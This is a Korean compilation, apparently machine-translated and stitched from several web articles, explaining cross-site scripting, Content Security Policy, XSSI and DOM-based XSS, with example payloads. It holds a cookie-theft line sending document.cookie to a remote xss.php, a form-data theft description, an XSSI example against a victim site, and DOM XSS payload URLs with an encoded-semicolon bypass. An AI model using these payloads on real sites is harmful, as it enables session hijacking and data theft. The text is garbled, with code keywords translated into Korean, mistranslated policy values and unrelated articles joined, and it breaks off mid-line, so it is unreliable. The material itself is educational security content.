호스트 이름은 *로 시작할 수 있습니다. 이는 제공된 호스트 이름의 모든 하위 도메인이 확인된다는 의미입니다. 마찬가지로 포트 번호는 *로 표시될 수 있으며 이는 모든 포트가 허용된다는 의미입니다. 또한, 프로토콜과 포트 번호는 생략될 수 있습니다. 프로토콜을 지정하지 않으면 정책에 따라 HTTPS를 사용하여 모든 리소스를 로드해야 합니다.

위 구문 외에도 소스 표현식은 다음 네 가지 중 하나일 수 있습니다. 키워드특별한 의미가 있는 경우(인용문 포함):

"none"은 리소스를 비활성화합니다. "self"는 웹페이지가 위치한 호스트의 리소스를 허용합니다. "unsafe‑inline"은 페이지에 포함된 리소스를 인라인 요소, 요소 및 javascript: URL로 확인합니다. "unsafe-eval"은 JavaScript 함수 eval 을 활성화합니다.

CSP를 사용할 때마다 기본 제공 리소스 및 평가는 기본적으로 자동으로 비활성화됩니다. "unsafe-inline"과 "unsafe-eval"을 사용하는 것이 유일한 방법입니다.

정책 예시

콘텐츠 보안 정책:
script‑src "self" scripts.example.com;
media‑src "없음";
img‑src *;
default‑src "self" http://*.example.com

이 예제 정책을 사용하면 웹 페이지에 다음과 같은 제한 사항이 적용됩니다.

스크립트는 웹페이지가 있는 호스트와 다음 주소(scripts.example.com)에서만 다운로드할 수 있습니다.
오디오 및 비디오 파일 다운로드가 금지되어 있습니다.
이미지 파일은 어느 주소에서나 다운로드할 수 있습니다.
다른 모든 리소스는 웹 페이지가 있는 호스트와 example.com의 하위 도메인에서만 로드할 수 있습니다.

CSP 상태

2013년 6월 현재 W3C 컨소시엄에서는 콘텐츠 보안 정책을 권장하고 있습니다. CSP는 브라우저 개발자에 의해 구현되지만 그 중 일부는 다른 브라우저에 따라 다릅니다. 예를 들어, HTTP 헤더 사용법은 브라우저마다 다를 수 있습니다. CSP를 사용하기 전에 지원하려는 브라우저의 설명서를 참조하세요.

요약 요약: XSS 개요

XSS 공격은 사용자 입력의 안전하지 않은 처리로 인해 발생하는 코드 주입 공격입니다.
XSS 공격이 성공하면 공격자는 피해자의 브라우저에서 악성 JavaScript를 실행할 수 있습니다.
성공적인 XSS 공격은 웹사이트와 사용자 모두의 보안을 위협합니다.

요약: XSS 공격

XSS 공격에는 세 가지 주요 유형이 있습니다.
- 웹사이트의 데이터베이스에서 악의적인 입력이 발생하는 저장된 XSS입니다.
- 반사된 XSS는 피해자의 요청에서 악의적인 입력이 발생합니다.
- DOM에서의 XSS 공격은 취약점이 서버 측이 아닌 클라이언트 측 코드에서 악용되는 경우입니다.
이러한 모든 공격은 다르게 수행되지만 성공하면 동일한 효과를 갖습니다.

요약: XSS 방지

최대 중요한 방법 XSS 공격을 방지하는 것은 안전한 입력 처리를 수행하는 것입니다.
- 페이지에서 사용자 입력이 활성화될 때마다 인코딩이 수행되어야 합니다.
- 어떤 경우에는 코딩을 검증으로 대체하거나 보완해야 합니다.
- 안전한 입력 처리는 사용자 입력이 삽입되는 페이지 컨텍스트를 고려해야 합니다.
- 모든 유형의 XSS 공격을 방지하려면 클라이언트 측 코드와 서버 측 코드 모두에서 보안 입력 처리가 수행되어야 합니다.
CSP(콘텐츠 보안 정책)는 보안 입력 처리에 오류가 포함된 경우 추가 보호 계층을 제공합니다.

부록 용어

XSS를 설명하는 데 사용되는 용어에는 교차가 있다는 점에 유의해야 합니다. DOM의 XSS 공격은 저장되거나 반영될 수 있습니다. 이는 별도의 공격 유형이 아닙니다. 모든 유형의 XSS를 혼동 없이 포괄하는 일반적으로 허용되는 용어는 없습니다. XSS를 설명하는 데 사용되는 용어에 관계없이 가장 중요한 것은 공격 유형을 결정하는 것입니다. 이는 악의적인 입력이 어디서 오고 취약점이 어디에 있는지 아는 경우 가능합니다.

사용권 및 링크

소스 코드 과도한 XSS GitHub에서 사용할 수 있습니다.

과도한 XSS Chalmers University of Technology의 언어 기반 보안 과정의 일부로 2013년에 만들어졌습니다.

러시아어로의 번역은 A888R에 의해 수행되었으며 원본 텍스트는 다음과 같습니다. 영어: extra-xss.com, 의견, 제안, 번역 오류를 여기로 보내주세요.

크로스 사이트 스크립팅(줄여서 XSS)은 많은 웹 애플리케이션에 영향을 미치는 광범위한 취약점입니다. 이를 통해 공격자는 사이트를 방문하는 사용자의 브라우저가 코드를 실행하는 방식으로 웹 사이트에 악성 코드를 주입할 수 있습니다.

일반적으로 이러한 취약점을 악용하려면 사용자와의 상호 작용이 필요합니다. 사회 공학을 사용하여 감염된 사이트로 사용자를 유인하거나 단순히 사용자가 사이트를 방문할 때까지 기다립니다. 따라서 개발자는 XSS 취약점을 심각하게 받아들이지 않는 경우가 많습니다.

그러나 해결하지 않고 방치하면 심각한 보안 위험을 초래할 수 있습니다.

우리가 WordPress 관리 패널에 있고 새로운 콘텐츠를 추가하고 있다고 상상해 봅시다. 이를 위해 XSS에 취약한 플러그인을 사용하면 브라우저가 새로운 관리자를 생성하고, 콘텐츠를 수정하고, 기타 악의적인 작업을 수행하도록 할 수 있습니다. 크로스 사이트 스크립팅은 공격자가 가장 중요한 작업에 대해 거의 완전한 제어를 제공합니다. 소프트웨어요즘 - 브라우저.

XSS: 주입 취약점

모든 웹사이트나 애플리케이션에는 데이터 입력을 위한 여러 위치가 있습니다. 양식 필드는 URL 자체까지입니다. 가장 간단한 예입력 데이터 - 사용자 이름과 비밀번호를 다음 형식으로 입력할 때:

우리의 이름은 향후 당사와의 상호 작용을 위해 사이트의 데이터베이스에 저장됩니다. 확실히, 어떤 웹사이트에 로그인하면 “환영합니다, 일리아” 스타일의 개인 인사말을 본 적이 있을 것입니다.

사용자 이름이 데이터베이스에 저장되는 것은 이러한 목적입니다.

주입은 이름이나 비밀번호 대신 특수 문자 시퀀스를 입력하여 서버나 브라우저가 공격자가 원하는 특정 방식으로 응답하도록 하는 절차입니다.

크로스 사이트 스크립팅은 웹 사이트를 대신하여 브라우저에서 작업을 수행하는 코드를 삽입하는 주입입니다. 이는 사용자 알림 또는 배경, 그의 지식 없이.

기존 XSS 공격: 반사(비지속적).

사용자가 특별히 제작된 링크를 클릭하면 반사 XSS 공격이 트리거됩니다.

이러한 취약점은 웹 클라이언트가 데이터를 제공할 때 발생하며, 대부분 HTTP 요청 매개변수 또는 HTML 양식는 서버측 스크립트에 의해 직접 실행되어 적절한 처리 없이 해당 클라이언트에 대한 결과 페이지를 구문 분석하고 표시합니다.

저장됨(영구).

저장된 XSS는 원본 페이지에 접근할 때마다 브라우저에서 실행되는 서버에 공격자가 악성코드를 주입하는 경우에 가능하다. 이 취약점의 전형적인 예는 HTML 댓글을 허용하는 포럼입니다.

클라이언트 측 코드(JavaScript, 비주얼 베이직, Flash 등): DOM이라고도 함: 반영됨(비지속적).

서버 측의 경우와 동일하지만, 이 경우에만 브라우저에서 코드를 처리하므로 공격이 가능합니다.

저장됨(영구).

서버 측에 저장된 XSS와 유사하지만 이 경우에만 악성 구성 요소가 서버 측에 저장됩니다. 고객 입장에서브라우저 저장소를 사용합니다.

XSS 취약점의 예.

흥미롭게도 이 취약점이 설명되는 대부분의 경우 다음 코드를 사용하면 겁이 납니다.

http://www.site.com/page.php?var=alert("xss");

XSS 취약점에는 수동형과 활성형의 두 가지 유형이 있습니다.

활성 취약점공격자가 특별한 링크를 사용하여 피해자를 유인할 필요가 없고 코드를 데이터베이스나 서버의 일부 파일에 삽입하기만 하면 되기 때문에 더 위험합니다. 따라서 모든 사이트 방문자는 자동으로 피해자가 됩니다. 예를 들어 SQL 주입을 사용하여 통합할 수 있습니다. 따라서 삽입 중에 처리된 데이터라 하더라도 데이터베이스에 저장된 데이터를 신뢰해서는 안 됩니다.

예 수동적 취약성기사 초반부에서 확인하실 수 있습니다. 이를 위해서는 이미 사회 공학이 필요합니다. 예를 들어, 백업에서 복원한 후 계정 설정을 확인하도록 요청하는 사이트 관리의 중요한 편지입니다. 따라서 피해자의 주소를 알아야하거나 단순히 스팸 메일을 주선하거나 일부 포럼에 게시해야하며 피해자가 순진하고 귀하의 링크를 따라갈 것이라는 것은 사실이 아닙니다.

또한 POST 및 GET 매개변수 모두 수동적 취약점에 취약할 수 있습니다. 물론 POST 매개변수를 사용하면 트릭을 사용해야 합니다. 예를 들어, 공격자의 웹사이트로부터의 리디렉션입니다.

document.getElementsByTagName("양식").submit();

따라서 GET 취약점은 좀 더 위험합니다. 왜냐하면... 피해자가 추가 매개변수보다 잘못된 도메인을 알아차리는 것이 더 쉽습니다(URL은 일반적으로 인코딩될 수 있지만).

쿠키 훔치기

이는 XSS 공격의 가장 일반적으로 인용되는 예입니다. 웹사이트는 때때로 일부 귀중한 정보(때때로 사용자의 로그인 및 비밀번호(또는 해시))를 쿠키에 저장하지만 가장 위험한 것은 활성 세션을 도용하는 것입니다. 이 경우 가정용 컴퓨터. 다행히도 대부분의 리소스에서는 세션 수명이 제한되어 있습니다.

Var img = 새 이미지(); img.srс = "http://site/xss.php?" + 문서.쿠키;

그렇기 때문에 XMLHttpRequest에 도메인 제한을 도입했지만 공격자에게는 문제가 되지 않습니다. , , 배경:url(); 등등.

양식에서 데이터 훔치기

예를 들어 getElementById를 통해 양식을 찾고 onsubmit 이벤트를 모니터링합니다. 이제 양식을 제출하기 전에 입력된 데이터도 공격자의 서버로 전송됩니다.

이러한 유형의 공격은 피싱과 다소 유사하지만 가짜 사이트가 아닌 실제 사이트를 사용하므로 피해자에게 더 많은 신뢰를 심어줍니다.

DDoS 공격(분산 서비스 거부 공격)

자주 방문하는 리소스에 대한 XSS 취약점은 DDoS 공격을 시작하는 데 사용될 수 있습니다. 본질은 간단합니다. 공격받은 서버가 견딜 수 없는 요청이 많습니다.
실제로 XSS와의 관계는 간접적입니다. 스크립트가 전혀 사용되지 않을 수 있으므로 다음과 같은 구성으로 충분합니다.

XSS의 위험성은 무엇입니까?

XSS로부터 사이트를 어떻게 보호할 수 있나요? 코드에 취약점이 있는지 어떻게 확인하나요? 이러한 공격을 방지하기 위해 특별히 설계된 Sucuri 방화벽과 같은 기술이 있습니다. 그러나 개발자라면 XSS 취약점을 식별하고 완화하는 방법에 대해 자세히 배우고 싶을 것입니다.

XSS에 관한 기사의 다음 부분에서 이에 대해 이야기하겠습니다.

수신 가능성에 대해 다양한 정보간단한 공격인 XSSI(Cross Site Scripting Inclusion)를 사용하여 타사 사이트에서

Easy Hack을 체계적으로 읽으셨다면 아마도 SOP(Same Origin Policy)에 대해 이미 매우 익숙하실 것입니다. SOP로 인해 두 "사이트" 간의 상호 작용 기능은 매우 제한됩니다. 그러나 한 사이트에서 다른 사이트로 정보를 받고 보내는 작업이 자주 발생하기 때문에 우리는 다양한 방법정책을 "부드럽게" 하고 상호 작용을 조직합니다. 예를 들어 CORS 또는 crossdomain.xml과 같습니다. 이전 방법 중 하나는 . SOP는 여기서 어떤 식으로든 우리를 제한하지 않습니다. 거의 임의의 위치를 지정할 수 있습니다.

예를 들어, 공격자의 호스트 evil.ru와 피해자 웹사이트(victim.com)가 있습니다. evil.ru에 우리는 넣을 수 있습니다 HTML 파일피해자의 스크립트를 참조하세요.

사용자가 공격자의 웹사이트에 들어가면 브라우저는victim.com에서 JS를 로드하고 실행하지만 SOP evil.ru의 컨텍스트에서 실행됩니다. 이는 공격자의 JS에서 피해자 서버의 (전부는 아님) JS 데이터에 액세스할 수 있음을 의미합니다.

예를 들어 피해자 사이트(http://victim.com/any_script_.js)의 JS 콘텐츠는 다음과 같습니다.

변수 a = "12345";

그런 다음 공격자의 웹 사이트에서 변수 값을 얻을 수 있습니다.

console.log(a);

작품의 아이디어는 알루미늄 주전자처럼 단순하다.

실제로, 다른 사이트에서 정적 JS를 로드하는 기능은 이미지를 로드하는 것보다 피해자 사이트에 더 이상 문제를 일으키지 않습니다.

JS가 동적으로 생성될 때, 즉 쿠키에 액세스하는 사용자에 따라 쿠키의 데이터를 기반으로 JS 스크립트의 내용이 변경될 때 문제가 발생할 수 있습니다. 예를 들어, JS는 개인 정보(이메일, 피해자 사이트의 사용자 이름) 또는 기술 정보(CSRF 방지 토큰)와 같은 일부 "중요한" 정보를 저장합니다.

그러나 우리가 알고 있듯이 태그를 통해 스크립트를 로드하면 사용자의 브라우저가 자동으로 사용자에게 쿠키를 보냅니다. 이러한 사실을 합산함으로써 우리는 공격자의 웹사이트를 방문하고 피해자 사이트에 로그인한 모든 사용자에 대한 정보를 얻을 수 있습니다.

우리는 무엇을 알아낼 수 있나요? 전역 변수 및 전역 함수의 결과. 불행하게도 우리는 내부 변수/함수에 접근할 수 없습니다. (물론 누군가가 이 방법을 찾을 수도 있겠지만)

함수 테스트())( "개인 데이터 함수"를 반환합니다. )

이 공격은 가능해 보이지만 너무 단순해 보편화되어서는 안 됩니다. 이것이 Black Hat의 프레젠테이션을 흥미롭게 만드는 이유입니다. 연구원들은 150개의 인기 웹사이트를 분석한 결과 그 중 3분의 1이 어느 정도 취약한 것으로 나타났습니다. 이러한 통계를 통해 우리는 문제를 좀 더 자세히 살펴보게 됩니다.

또 다른 패턴도 드러났다. 콘텐츠 보안 정책이 더욱 보편화되고 있습니다. 아시다시피 이를 통해 이 리소스 또는 해당 리소스를 로드할 수 있는 도메인을 나타낼 수 있습니다. 예를 들어, 동일한 리소스에서만 JS를 실행하라고 말할 수 있습니다. 또한 CSP 설정에 대한 모범 사례에는 인라인 JS(즉, HTML에 직접 위치하고 JS 파일에서 로드되지 않는 코드)의 실행을 금지하는 것이 포함됩니다.

그러나 인라인을 파일로 전송하는 작업은 목발을 사용하여 빠르게 수행할 수 있습니다. 즉, 동적으로 생성된 스크립트를 통해 수행할 수 있습니다. CSP는 XSSI에 영향을 미치지 않으므로 다시 공격을 수행할 수 있습니다. 이것은 정말 나쁜 습관입니다.

XSS(교차 사이트 스크립팅)는 다른 사용자가 보고 있는 웹 페이지에 클라이언트측 코드(JavaScript)를 삽입하는 것과 관련된 취약점입니다.

이 취약점은 사용자가 웹 페이지에 삽입하기 위해 제출하는 데이터에 대한 필터링이 충분하지 않기 때문에 발생합니다. 훨씬 이해하기 쉬움 구체적인 예. 방명록을 기억하십시오. 이는 사용자로부터 데이터를 받아 표시하도록 설계된 프로그램입니다. 방명록이 어떤 방식으로든 입력된 데이터를 확인하거나 필터링하지 않고 단순히 표시만 한다고 가정해 보겠습니다.

가장 간단한 스크립트를 스케치할 수 있습니다(PHP에서 잘못된 스크립트를 작성하는 것보다 쉬운 것은 없습니다. 많은 사람들이 이렇게 합니다). 그러나 이미 기성품 옵션이 많이 있습니다. 예를 들어 Dojo와 OWASP Mutillidae II로 시작하는 것이 좋습니다. 거기에도 비슷한 예가 있습니다. 독립형 Dojo 환경에서는 브라우저에서 다음 링크로 이동하십시오. http://localhost/mutillidae/index.php?page=add-to-your-blog.php

사용자 중 한 명이 입력한 경우:

그러면 웹페이지에 다음이 표시됩니다:

안녕하세요! 나는 당신의 사이트를 좋아합니다.

그리고 사용자가 다음을 입력하면:

안녕하세요! 나는 당신의 사이트를 좋아합니다.alert("Pwned")

그러면 다음과 같이 표시됩니다.

브라우저는 수많은 사이트에 대해 많은 쿠키를 저장합니다. 각 사이트는 자신이 저장한 쿠키만 받을 수 있습니다. 예를 들어, example.com은 귀하의 브라우저에 일부 쿠키를 저장했습니다. another.com을 방문하면 이 사이트(클라이언트 및 서버 스크립트)는 example.com이 저장한 쿠키에 액세스할 수 없습니다.

example.com이 XSS에 취약하다면 이는 어떻게든 여기에 JavaScript 코드를 삽입할 수 있으며 해당 코드는 example.com을 대신하여 실행된다는 의미입니다! 저것들. 예를 들어 이 코드는 example.com의 쿠키에 액세스합니다.

JavaScript는 사용자 브라우저에서 실행된다는 사실을 모두가 기억한다고 생각합니다. XSS가 있으면 내장된 악성 코드가 웹사이트 페이지를 연 사용자의 데이터에 접근할 수 있게 됩니다.

포함된 코드는 JavaScript가 수행할 수 있는 모든 작업을 수행할 수 있습니다. 즉,

귀하가 보고 있는 웹사이트의 쿠키에 접근할 수 있습니다.
페이지 모양을 변경할 수 있습니다.
클립보드에 액세스합니다
키로거(키 입력 인터셉터)와 같은 JavaScript 프로그램을 구현할 수 있습니다.
BeEF에서 픽업
등등

쿠키를 사용한 가장 간단한 예:

경고(문서.쿠키)

실제로 경고는 XSS를 탐지하는 데에만 사용됩니다. 실제 악성 페이로드는 숨겨진 행동. 공격자의 원격 서버에 비밀리에 접속하여 훔친 데이터를 해당 서버로 전송합니다.

XSS의 유형

XSS 유형에 대해 이해해야 할 가장 중요한 점은 다음과 같습니다.

저장됨(영구)
반영됨(변덕스러움)

상수의 예:

서버에 저장되어 있는 방명록(댓글, 포럼 메시지, 프로필)에 공격자가 입력한 특수 제작된 메시지는 사용자가 이 페이지 표시를 요청할 때마다 서버에서 다운로드됩니다.
공격자는 예를 들어 SQL 삽입을 통해 서버 데이터에 액세스하고 사용자에게 제공된 데이터에 악성 JavaScript 코드(킬로로거 또는 BeEF 포함)를 삽입했습니다.

비영구적인 것의 예:

사이트에 검색결과와 함께 "검색한 항목: [검색 문자열]"과 같은 내용이 표시되는 검색이 있으며 데이터가 제대로 필터링되지 않습니다. 이러한 페이지는 해당 페이지에 대한 링크가 있는 사람에게만 표시되므로 공격자가 사이트의 다른 사용자에게 링크를 보낼 때까지 공격은 작동하지 않습니다. 피해자에게 링크를 보내는 대신 피해자가 방문하는 중립 사이트에 악성 스크립트를 배치하는 방법을 사용할 수 있습니다.

그들은 또한 다음과 같이 구별합니다(일부는 비지속적 XSS 취약점의 유형으로, 일부는 이 유형이 지속성 XSS의 유형일 수도 있다고 말합니다).

DOM 모델

DOM 기반 XSS의 특징

아주 간단하게 말하면, HTML 코드를 열면 "일반" 비영속성 XSS의 악성코드를 볼 수 있습니다. 예를 들어 링크는 다음과 같이 구성됩니다.

Http://example.com/search.php?q="/>경고(1)

소스 HTML 코드를 열면 다음과 같은 내용이 표시됩니다.

경고(1)" /> 찾기

그리고 DOM XSS는 브라우저에 형성된 DOM 구조를 즉석에서 변경하는데, 생성된 DOM 구조를 볼 때만 악성코드를 볼 수 있다. HTML은 변경되지 않습니다. 이 코드를 예로 들어보겠습니다.

site:::DOM XSS 오류가 발생했습니다... function OnLoad() ( varfoundFrag = get_fragment(); returnfoundFrag; ) function get_fragment() ( var r4c = "(.*?)"; var results = location.hash .match(".*input=token(" + r4c + ");"); if (결과) ( document.getElementById("default").innerHTML = ""; return (unescape(results)); ) else ( null 반환; ) ) display_session = OnLoad(); document.write("귀하의 세션 ID는: " + display_session + "

")

그러면 브라우저에서 다음을 볼 수 있습니다:

페이지 소스 코드:

다음과 같이 주소를 구성해 보겠습니다.

http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

이제 페이지는 다음과 같습니다.

하지만 HTML 소스 코드를 살펴보겠습니다.

거기에는 전혀 변한 것이 없습니다. 이것이 제가 말한 것입니다. 악성 코드를 식별하려면 문서의 DOM 구조를 살펴봐야 합니다.

다음은 작동하는 XSS 프로토타입입니다. 실제 공격을 위해서는 더 복잡한 페이로드가 필요합니다. 이는 응용 프로그램이 세미콜론 바로 다음에 읽기를 중지하고 Alert(1);alert(2)와 같은 것이 불가능하다는 사실로 인해 불가능합니다. 더 오래 가능합니다. 그러나 unescape() 덕분에 반환 데이터에서 다음과 같은 페이로드를 사용할 수 있습니다.

http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

기호를 대체한 곳은 ; URI로 인코딩된 것과 동일합니다!

이제 표준 비지속적 크로스 사이트 스크립팅에서와 마찬가지로 악성 JavaScript 페이로드를 작성하고 피해자에게 보낼 링크를 구성할 수 있습니다.

XSS 감사자

안에 구글 크롬(또한 현재 Google Chrome 엔진을 사용하는 Opera에서도) 다음과 같은 놀라움이 나를 기다리고 있었습니다.

dom_xss.html:30 XSS 감사자가 "http://localhost/tests/XSS/dom_xss.html#input=token